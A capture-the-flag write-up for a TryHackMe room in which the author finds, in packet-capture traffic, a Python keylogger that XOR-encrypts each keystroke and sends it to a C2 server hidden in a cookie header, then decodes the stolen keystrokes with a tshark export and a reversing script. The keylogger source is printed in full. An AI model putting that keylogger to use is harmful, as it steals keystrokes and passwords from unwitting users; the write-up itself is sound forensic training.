THM Hacker Holidays - Packed Light
https://tryhackme.com/room/hh-packedlight-02e5330c
I love working with Wireshark. This room gives us a pcapng and the following checklist:
- Analyze the provided capture for a covert communication channel.
- Identify where the exfiltrated data is being hidden and reassemble it.
- Decode the recovered data and submit the flag.
I initially went down a rabbit hole the first day I attempted the room. I started looking at the QUIC traffic and looked up how to decrypt it in wireshark and found this blog post. https://blog.elmo.sg/posts/parsing-decrypted-quic-traffic-in-wireshark/
That didn’t work so I set the room aside for a few days. I came back and read the 0xMia “post” again. This time I was able to filter on
http.port == 8080From there I selected one of the packets, right-clicked and selected follow HTTP stream from the menu, which gave me the following python script.
import requests
import base64
from pynput import keyboard
C2_URL = "http://byte-lotus-hotel.thm[:]8080/"
def getkey():
p1 = "H0t3lSt@ff0Nly"
p2 = "K3epS3cr3t!"
return p1 + p2
def xor(data: bytes, key: bytes) -> bytes:
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
def sendltr(character):
raw_bytes = character.encode('utf-8')
encrypted = xor(raw_bytes, getkey().encode('utf-8'))
b64_string = base64.b64encode(encrypted).decode('utf-8')
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) ByteLotusClient/1.1",
"Cookie": f"hotel_sess_state={b64_string}"
}
try:
requests.get(C2_URL, headers=headers, timeout=0.5)
except:
pass
def on_press(key):
try:
sendltr(key.char)
except AttributeError:
if key == keyboard.Key.space:
sendltr(" ")
elif key == keyboard.Key.enter:
sendltr("\n")
print("[*] Byte Lotus Sync Service started...")
with keyboard.Listener(on_press=on_press) as listener:
listener.join()As we can see in the script it is XORing with the key then base64 encoding it.
I fed the script to Claude (haiku 4.5) and it figured out how to reverse that process. It made some suggestions about decoding in Wireshark or exporting as a file, but I pointed out that it is spread across each packets cookies. It came back with the following python script and how to export it using tshark.
tshark -r traffic.pcapng -Y 'http.cookie contains "hotel_sess_state"' \ -T json > cookies.jsonimport base64import sysimport json
def xor(data: bytes, key: bytes) -> bytes: return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
def decode_c2(b64_string: str) -> str: key = "H0t3lSt@ff0NlyK3epS3cr3t!" try: encrypted = base64.b64decode(b64_string) decrypted = xor(encrypted, key.encode('utf-8')) return decrypted.decode('utf-8', errors='replace') except Exception as e: return "?"
# Extract from tshark JSON output# tshark -r capture.pcap -Y 'http.cookie contains "hotel_sess_state"' -T json > cookies.json
def decode_from_json(json_file): with open(json_file) as f: packets = json.load(f)
keylog = [] for packet in packets: try: cookie = packet['_source']['layers']['http']['http.cookie'] # Extract value after hotel_sess_state= value = cookie.split('hotel_sess_state=')[1].split(';')[0] char = decode_c2(value) keylog.append(char) print(f"{value} → {repr(char)}") except (IndexError, KeyError): continue
print("\n" + "="*50) print("Full keylog:") print("".join(keylog)) print("="*50)
if __name__ == "__main__": if len(sys.argv) > 1: decode_from_json(sys.argv[1]) else: print("Usage: python3 decode_keylog.py cookies.json")python3 decode.py cookies.jsonAfter running the script it showed the decoding for each letter before putting it all together and revealing the flag.